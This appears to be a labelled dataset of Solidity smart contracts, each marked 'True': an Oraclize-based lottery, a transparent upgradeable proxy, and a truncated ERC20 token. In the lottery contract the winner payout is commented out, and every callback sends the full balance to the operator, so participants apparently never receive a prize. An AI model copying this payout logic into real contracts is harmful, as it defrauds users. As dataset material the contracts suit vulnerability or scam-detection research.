(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1; //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
// Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
// Buffer too small
throw; // Should be a better way?
}
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// Main * Lottesy 10 ETH lottery * code
contract Lottesy10eth is usingOraclize {
address LottesyAddress = 0x1EE61945aEE02B15154AB4A5824BA80eC8Ed6F4e;
address public theWinner;
uint public drawingNo = 1;
uint public chanceNo;
uint public winningChance;
uint public globalChanceNo; //hide
uint public forLottesy;
uint public chancesBought;
uint public theWinnernumber;
uint public newGlobalChanceNo;
uint public oraclizeGas = 300000;
uint public randomNumber;
uint public maxRange;
bool public previousDrawingClosed = true;
bool public isClosed = false;
bool public proofVerifyFailed = false;
bool public gotResult = false;
mapping (uint => address) public globChanceOwner;
mapping (uint => address) public winners;
mapping (uint => uint) public drWinChances;
function () payable ifNotClosed { //sales
oraclize_setCustomGasPrice(20000000000 wei);
oraclize_setProof(proofType_Ledger); // sets the Ledger authenticity proof in the constructor
uint N = 2; // number of random bytes we want the datasource to return
uint delay = 0; // number of seconds to wait before the execution takes place
uint callbackGas = oraclizeGas; // amount of gas we want Oraclize to set for the callback function
previousDrawingClosed = false;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas); // this function internally generates the correct oraclize_query and returns its queryId
}
function __callback(bytes32 _queryId, string _result, bytes _proof) {
gotResult = true;
if (msg.sender != oraclize_cbAddress()) throw;
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
proofVerifyFailed = true;
throw;
} else {
maxRange = 2**(8*2);
randomNumber = uint(sha3(_result)) % maxRange;
winningChance = uint(((((randomNumber+60)*10000)/65535)*1100)/10000);
theWinnernumber = (drawingNo-1)*1100 + winningChance;
//theWinner = LottesyAddress; //who is the winner?
//theWinner.transfer (0.001 ether); //send prize to the winner
winners[drawingNo] = LottesyAddress; //winner record
drWinChances[drawingNo] = winningChance; //winning chance record
chanceNo++;
forLottesy = (this.balance);
LottesyAddress.transfer (forLottesy); //Lottesy comission
drawingNo++; //next drawing begins
previousDrawingClosed = true;
}
}
modifier onlyOwner() {
if (msg.sender != LottesyAddress) {
throw;
}
_;
}
modifier ifNotClosed () {
if (isClosed == true) {
throw;
}
_;
}
function emergencyWithdrawal () onlyOwner { // for Beta version only
LottesyAddress.transfer (this.balance);
}
function addSomeGas () onlyOwner { // for Beta version only
oraclizeGas += 300000;
}
function closeIt () onlyOwner {
isClosed = true;
}
function emergencyDrawingReset () onlyOwner { // for Beta version only
oraclize_setProof(proofType_Ledger);
uint N = 2;
uint delay = 0;
uint callbackGas = oraclizeGas;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract NProxy is TransparentUpgradeableProxy {
constructor(
address _logic,
address admin_,
bytes memory _data
) payable TransparentUpgradeableProxy(_logic, admin_, _data) {
}
} | True | [
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pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
